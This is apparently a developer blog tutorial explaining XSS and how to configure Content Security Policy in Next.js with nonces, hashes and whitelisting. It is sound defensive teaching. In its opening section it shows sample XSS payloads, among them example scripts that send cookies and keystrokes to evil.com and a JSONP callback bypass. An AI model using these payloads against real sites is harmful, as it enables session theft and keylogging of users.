Cross-site Scripting (XSS) is a commonly overlooked web vulnerability and Content Security Policy (CSP) is a powerful defense — but its proper implementation is not always straightforward. Most guides cover only one type of setup, leaving gaps for many real-world scenarios. This blog serves as a starting point for understanding XSS and CSP, with sources for deeper exploration if needed. However, the main focus will be on setting up CSP in Next.js through various scenarios.
Cross-site Scripting (XSS)
Cross-site scripting (XSS) is a type of attack on web applications that allows an attacker to inject malicious JavaScript code that runs on the client-side. They are essentially quite similar to SQL injections.
Imagine a comment section on a website that stores user comments in a database and then displays them to other users.
<input id="comment" placeholder="Enter your comment" /> <button id="submit">submit</button> <div id="result"></div> <script> const button = document.getElementById("submit"); const comment = document.getElementById("comment"); const result = document.getElementById("result"); button.addEventListener("click", () => { result.innerHTML = comment.value; }); </script>
If the application does not properly parse user input, an attacker could enter something like:
><img src=x onerror=alert('XSS')>
This bit of code would cause the JavaScript to run every time other users view the comment.
Another example of an XSS attack is when a page displays the URL and its query parameters. An attacker could send a link that includes malicious JavaScript code, such as this script tag:
https://example.com/search?q=<script>alert('lalala')</script>
<p> You searched for: <script> const decoded = decodeURIComponent(location.href); document.write(decoded); </script> </p>
This leads to serious security issues...
Once the attacker succeeds in injecting malicious code, it can open the door to serious attacks, such as:
- Cookie and session token theft — Attackers can steal login credentials and access user accounts.
- User activity tracking — It is possible to log what users type on the website.
- Redirecting to phishing sites — Attackers can redirect users to fake websites with the aim of stealing data.
- CSRF attacks — Attackers can perform actions on behalf of the user, such as sending money or changing settings.
- Clickjacking — Attackers can trick users into clicking on invisible or fake elements of a page within an iframe, allowing them to perform unauthorized actions on behalf of the user, such as submitting data or changing settings.
Below you can see two simple examples of cookie theft and keystroke tracking, but these attacks can also be much more sophisticated by using complex interactions with iframes, web sockets, and similar techniques.
<script> fetch("https://evil.com/steal?cookie=" + document.cookie); </script>
<script> document.addEventListener("keypress", function (e) { fetch("https://evil.com/log?key=" + e.key); }); </script>
For example, in 2018, British Airways suffered a serious security incident involving the theft of personal data of users. Attackers exploited a vulnerability in third-party code on the website, and the stolen data included information from over 300,000 users, including personal names, email addresses, credit card numbers, and security codes. Attackers redirected users to phishing sites to collect additional data. This attack was actually linked to XSS vulnerabilities, as attackers were able to inject malicious JavaScript code into the website that lead to data theft.
Content Security Policy (CSP)
Content Security Policy (CSP) comes in as a solution — an additional layer of security that prevents such attacks. It is implemented by adding the Content-Security-Policy HTTP header to your website and configuring rules, or directives, that determine which resources are allowed to be loaded.
A simple example of a CSP header looks like this:
Content-Security-Policy: default-src 'self'; img-src 'self' cdn.example.com;
This CSP contains two directives:
- default-src 'self' — A fallback directive for all others that are not explicitly specified. In this case, it means that the page can use resources that come from its own domain.
- img-src 'self' cdn.example.com — Allows loading images from your own domain and from
cdn.example.com.
It is recommended to always define default-src
, even if you do not use iframes or WebSockets, to block potential attacks that exploit them.
Here are a few more useful directives we will mention:
script-src
— Limits the sources of JavaScript.style-src
— Limits the sources of CSS.iframe-src
— Limits the sources of iframes.
A complete list of directives is available at: MDN - CSP Directives .
Whitelisting domains and inline scripts
The most basic way of setting up a CSP is by whitelisting domains, e.g.:
script-src 'self' third-party-1.com third-party-2.com third-party-3.com;
However, this can be insecure because whitelisted domains may contain endpoints that accept callback functions via query parameters to process results and then return JavaScript code that invokes that callback. This allows the execution of scripts from external sources, even when the domain is whitelisted.
<script src=”https://whitelisted.com/jsonp?callback=evilFunction”/>
This technique is known as JSONP (JSON with Padding). It was originally used to bypass CORS restrictions, but attackers can exploit it to execute malicious code if the application allows JSONP from untrusted sources. For this reason, JSONP poses a security risk, and modern applications generally avoid using it.
Even when you're whitelisting domains, it is possible to do so in a more secure or less secure way.
Wildcards (*
) can be used for subdomains, host addresses, and ports. For example:
http://*.example.com
allows resources from any subdomain ofexample.com
.
Paths that end with a trailing slash (/
) match any path that has it as a prefix.
example.com/api/
allows resources fromexample.com/api/users/new
.
Paths that do not end with a trailing slash (/
) match exactly.
https://example.com/file.js
allows resources only fromhttps://example.com/file.js
, but not fromhttps://example.com/file.js/file2.js
.
If possible, it is recommended to define whitelisted paths as precisely as possible to reduce the risk of unauthorized access.
Inline scripts or JavaScript executed using the eval()
function cannot be whitelisted.
The unsafe-inline
and unsafe-eval
directives allow such code to run, but as their names suggest, they are not safe to use as they open the door for XSS attacks and should be avoided.
Some libraries, such as React's development server, rely on eval()
, so this should also be kept in mind.
Strict CSP, a safer approach using nonce or hashes:
Strict CSP approach further tightens the rules to prevent XSS attacks. Instead of allowing inline scripts, nonce or hashes are used to precisely define which scripts are allowed to execute.
- Nonce — A randomly generated string for each request, passed to resources.
- Hash — The hashed content of a script (e.g., using the SHA-256 algorithm) to mark it as trusted.
Examples:
Content-Security-Policy: script-src 'nonce-rAnd0m';
This will allow scripts that have the nonce passed to them.
<script nonce="rAnd0m"> doWhatever(); </script>
Content-Security-Policy: script-src 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc=';
By using a nonce, we can avoid the need for whitelisting domains, as each script can be authorized with it.
Combining nonces with 'strict-dynamic'
allows scripts to dynamically load their own resources. For example, Google Tag Manager inserts certain scripts into our code. We pass the nonce only to GTM, and strict-dynamic
allows the execution of those scripts inserted by GTM.
Important:
- Hashing, whitelisting, and nonce can be combined.
- Nonces and hashes are valid only for
script-src
andstyle-src
. Other resources (e.g., fonts, iframes) must be whitelisted. strict-dynamic
cannot be used alongside hashing or whitelisting.
Deploying
Deploying a CSP to production can be risky because incorrect configuration can block key parts of the application. Also, third-party scripts may behave differently in production.
Instead of the Content-Security-Policy
header, you can use the Content-Security-Policy-Report-Only
.
- This header does not block resources, but only prints warnings in the console.
- It is possible to define the
report-to
directive, which sends a POST request with data about blocked resources. This directive can be defined for both regular and report-only CSP and should definitely be used to monitor attack attempts.
A possible strategy:
- The application is initially deployed to production with
Report-Only
mode so that configuration errors can be scouted without affecting the application's functionality. - Resources that CSP blocks are analyzed and the CSP is updated as needed.
- Once we are confident in the validity of the CSP configuration,
Content-Security-Policy-Report-Only
is changed to theContent-Security-Policy
header.
Useful links
- CSP Evaluator (Google's tool for checking CSP)
- A detailed guide about strict CSP
- Video about strict CSP
Next.js and CSP
We will now focus on defining CSP using Next.js, in which cases a particular implementation is valid, and what the potential drawbacks are. We will answer questions such as:
👉 "When to use nonce and when hashes?"
Dynamic components and Server-Side Rendering (SSR)
App Router
If you type "next csp" into your browser, you will get a useful link to the Next.js documentation which explains how to implement CSP in a Next.js application using middleware that generates a nonce to achieve strict CSP.
⚠️ This method of implementing CSP applies exclusively if you are using App Router and dynamic components.
First, it is necessary to create a middleware that will define and set the CSP header.
import { NextResponse } from "next/server"; export function middleware(request) { const nonce = Buffer.from(crypto.randomUUID()).toString("base64"); const cspHeader = ` default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; style-src 'self' 'nonce-${nonce}'; img-src 'self' blob: data:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; `; const contentSecurityPolicyHeaderValue = cspHeader .replace(/\s{2,}/g, " ") .trim(); const requestHeaders = new Headers(request.headers); requestHeaders.set("x-nonce", nonce); requestHeaders.set( "Content-Security-Policy", contentSecurityPolicyHeaderValue ); const response = NextResponse.next({ request: { headers: requestHeaders, }, }); response.headers.set( "Content-Security-Policy", contentSecurityPolicyHeaderValue ); return response; }
When you implement this and run the application, you will immediately see an error in the console - which was to be expected.
As mentioned earlier, React's Dev Mode requires unsafe-eval
. Fortunately, this is not needed for production, so we can include it only for development:
const cspHeader = ` default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic' ${ ++ process.env.NODE_ENV === "development" ? "'unsafe-eval'" : "" }; style-src 'self' 'nonce-${nonce}'; img-src 'self' blob: data:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; `;
Upon restarting the application, you will likely notice new errors related to the style-src
directive.
From my understanding, it is currently not possible to configure React's default styles to work without the unsafe-inline
directive, because Next.js does not pass the nonce into the <style>
tag it generates. So, instead of using a nonce for styles, it is necessary to include unsafe-inline
.
const cspHeader = ` default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic' ${ process.env.NODE_ENV === "development" ? "'unsafe-eval'" : "" }; -- style-src 'self' 'nonce-${nonce}'; ++ style-src 'self' 'unsafe-inline'; img-src 'self' blob: data:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; `;
If you look at DevTools, you can notice that the nonce is passed to all scripts, as they will have the nonce attribute.
Other than that, it is necessary to manually pass the nonce to all other scripts you add for CSP to function correctly.
import { headers } from "next/headers"; import Script from "next/script"; export default async function Page() { const nonce = (await headers()).get("x-nonce"); return ( <Script src="https://www.googletagmanager.com/gtag/js" strategy="afterInteractive" nonce={nonce} /> ); }
Pages router
For the Pages Router, we can use the same middleware we set up earlier for the App Router, following Next.js documentation. However, a few minor changes are required.
📌 The main difference is that with the Pages Router, Next.js does not pass the nonce automatically - we have to do it manually.
The best way to do this is by creating a _document.tsx
inside the /pages
directory. This allows us to override Next.js's default Document
and inject the nonce wherever it is needed.
Steps
- Read the nonce from the request.
- Add the nonce to the Next.js script and into
<Head>
.
import Document, { Html, Head, Main, NextScript } from "next/document"; class MyDocument extends Document { static async getInitialProps(ctx) { const initialProps = await Document.getInitialProps(ctx); const nonce = ctx.req?.headers["x-nonce"] || ""; return { ...initialProps, nonce }; } render() { const { nonce } = this.props; return ( <Html lang={this.props.__NEXT_DATA__.props.pageProps?.language?.key} translate="no" className="default-mode" > <Head nonce={nonce} /> <body> <Main /> <NextScript nonce={nonce} /> </body> </Html> ); } } export default MyDocument;
Statically generated pages (SSG)
This is where things get really interesting. When dealing with statically generated pages, we cannot use a nonce. Although middleware can generate a nonce and set a header for each request, our page is generated during the build process, so we cannot retrieve and pass the nonce to our scripts. This means we can only use hashes and whitelisting.
The first and immediately significant problem we need to solve is how to configure the CSP to allow React and Next.js scripts — everything we don't have full control over. These scripts need to be hashed in some way or require enabling unsafe-inline
, which we want to avoid if possible.
The plan is as follows:
- We build our app.
- Hash all generated scripts.
- Save the hashes.
- We add the generated hashes to the CSP while it's building
- And, of course, we automate it all.
We will create a script that will hash all scripts generated during the build process after the build is completed and include this in our build through package.json.
const crypto = require("crypto"); const fs = require("fs"); const path = require("path"); const glob = require("glob"); const buildDir = path.join(__dirname, ".next"); const jsFiles = glob.sync(`${buildDir}/**/*.js`); const hashes = jsFiles.map((file) => { const content = fs.readFileSync(file, "utf8"); const hash = crypto.createHash("sha256").update(content).digest("base64"); return `sha256-${hash}`; }); const hashesFilePath = path.join(__dirname, "csp-hashes.json"); const hashesContent = JSON.stringify(hashes); fs.writeFileSync(hashesFilePath, hashesContent, "utf8"); console.log("✅ CSP Hashes Generated:", hashes);
"scripts": { "dev": "next", -- "build": "next build", ++ "build": "next build && node hashScripts-2.js", "start": "start" },
Although Next provides the option to define CSP headers through next.config.js
, this would not work for us here because it defines the header during the build process, whereas we need to define it afterwards in order to include the hashes.
It would be convenient to add the file containing the saved hashes to .gitignore
, which leaves us the middleware.
For the middleware, we don't need anything particularly new; we do need to watch out that the hashes we include in the CSP are enclosed in quotes. For development, we can safely enable unsafe-inline
to avoid dealing with Next's scripts during development.
import { NextResponse } from "next/server"; ++ import cspHashes from "./csp-hashes.json"; export function middleware(request) { ++ const isDev = process.env.NODE_ENV === "development"; ++ const hashesString = cspHashes?.map((hash) => `'${hash}'`).join(" "); const cspHeader = ` default-src 'self'; ++ script-src 'self' ${isDev ? "'unsafe-eval' 'unsafe-inline'" : hashesString}; style-src 'self' 'unsafe-inline'; img-src 'self' blob: data:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; `;
Since we added csp-hashes.json
to .gitignore
to keep it out of the way, we still need to improve the setup a bit to ensure everything works seamlessly without manual intervention. Currently, everything would break if csp-hashes.json
is missing.
I will handle this through hashScripts.js
, as I plan to later use it for hashing third-party scripts, which we will discuss later. I am adding the creation of a JSON file with hashes if it does not exist and when we pass the --dev
flag.
const crypto = require("crypto"); const fs = require("fs"); const path = require("path"); const glob = require("glob"); ++ const isDev = process.argv.includes("--dev"); ++ const hashesFilePath = path.join(__dirname, "csp-hashes.json"); ++ if (isDev && !fs.existsSync(hashesFilePath)) { ++ fs.writeFileSync(hashesFilePath, "", "utf8"); ++ return; ++ } const buildDir = path.join(__dirname, ".next"); const jsFiles = glob.sync(`${buildDir}/**/*.js`); const hashes = jsFiles.map((file) => { const content = fs.readFileSync(file, "utf8"); const hash = crypto.createHash("sha256").update(content).digest("base64"); return `sha256-${hash}`; }); const hashesContent = JSON.stringify(hashes); fs.writeFileSync(hashesFilePath, hashesContent, "utf8"); console.log("✅ CSP Hashes Generated:", hashes);
So, we will use that for the dev script.
"scripts": { -- "dev": "next", ++ "dev": "node hashScripts-2.js --dev && next", "build": "next build && node hashScripts-2.js", "start": "start" },
Third-party code
The main challenge with third-party code is that we don’t know exactly what it does. This means it could contain code that forces us to loosen our CSP. For example, it might include functions like eval()
, execute inline scripts, or load additional scripts. The latter could be accounted for in our CSP rules by using a nonce and adding the strict-dynamic
directive. However, even then, third-party code can still cause headaches.
There is an off-chance that a third-party script loads additional scripts in an insecure way that strict-dynamic
does not support. Specifically, parser-inserted scripts (which are common in analytics libraries) can be inserted into the HTML, meaning that a CSP with the strict-dynamic
directive will block their execution. Parser-inserted refers to the method of script injection, and for more details, you can check this link.
So, even with strict-dynamic
, there is a risk that it will need to be disabled in order for the third-party code to function correctly.
As a reminder: we cannot hash external scripts <script src="example.com" />
, so we will need to whitelist them, while inline scripts can be hashed.
When whitelisting, we want to actively think about when to include a trailing slash and when not to. Omitting it defines an exact path to the resource, which is more secure, but there is a risk that something related to that resource could change, which CSP will not allow. Essentially, we are balancing between security and resilience to changes. The report-to
directive can be very useful after implementing CSP, not only for monitoring attack attempts but also for detecting changes in resources.
When it comes to hashing inline scripts, such as for Google Tag Manager, where we need to add an inline script for integration, we will upgrade the existing setup.
All the inline scripts I plan to use will be extracted into a single /scripts.js
file in the project root, so I can use them both for hashing and later for rendering.
const gtmScript = ` (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','${process.env.NEXT_PUBLIC_GTM_KEY}'); `; const googleConsentModeScript = ` window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('consent', 'default', { 'ad_storage': 'denied', 'analytics_storage': 'denied', 'ad_user_data': 'denied', 'ad_personalization': 'denied', 'wait_for_update': 500 }); dataLayer.push({ 'event': 'default_consent' }); `; module.exports = { gtmScript, googleConsentModeScript, };
For the final result of our hash-scripts
file, we will get something like this:
const crypto = require("crypto"); const fs = require("fs"); const path = require("path"); const glob = require("glob"); ++ const { gtmScript, googleConsentModeScript } = require("./scripts"); const isDev = process.argv.includes("--dev"); const hashesFilePath = path.join(__dirname, "csp-hashes.json"); if (isDev && !fs.existsSync(hashesFilePath)) { fs.writeFileSync(hashesFilePath, "", "utf8"); return; } const buildDir = path.join(__dirname, ".next"); const jsFiles = glob.sync(`${buildDir}/**/*.js`); ++ const inlineScripts = [gtmScript, googleConsentModeScript]; ++ const nextScripts = jsFiles.map((file) => fs.readFileSync(file, "utf8")); ++ const hashes = [...inlineScripts, ...nextScripts].map((content) => { ++ const hash = crypto.createHash("sha256").update(content).digest("base64"); ++ return `sha256-${hash}`; ++ }); const hashesContent = JSON.stringify(hashes); fs.writeFileSync(hashesFilePath, hashesContent, "utf8"); console.log("✅ CSP Hashes Generated:", hashes);
And then, you can handle the whitelisting within the middleware in whatever way suits you best - I like to separate them to make it a bit easier to read. Something like this:
const isDev = process.env.NODE_ENV === "development"; const scriptsHashesString = cspHashes?.map((hash) => `'${hash}'`).join(" "); const fontsWhitelist = []; const scriptsWhitelist = []; const stylesWhitelist = []; const iframeWhitelist = []; const connectionWhitelist = []; const cspHeader = ` default-src 'self'; object-src 'none'; base-uri 'self'; manifest-src 'self'; script-src 'self' ${ isDev ? "'unsafe-eval' 'unsafe-inline'" : scriptsHashesString } ${scriptsWhitelist.join(" ")}; style-src 'self' 'unsafe-inline' ${stylesWhitelist.join(" ")}; font-src 'self' ${fontsWhitelist.join(" ")}; img-src 'self' blob: data:; frame-src ${iframeWhitelist.join(" ")}; connect-src 'self' ${connectionWhitelist.join(" ")}; report-uri ${process.env.NEXT_PUBLIC_API}/csp; `;
Conclusion
While CSP is a great additional layer of security for our websites, through this blog, you've seen that, unfortunately, it's not easy to set up, and even when implemented, it's still not perfect. As things stand, it's a balancing act between the strictness of CSP and maintainability.
At any given moment, a third-party could modify something beyond our control, which could present a problem. This tells us that CSP isn't something we can set and forget; instead, it requires continuous monitoring and adjustments when necessary.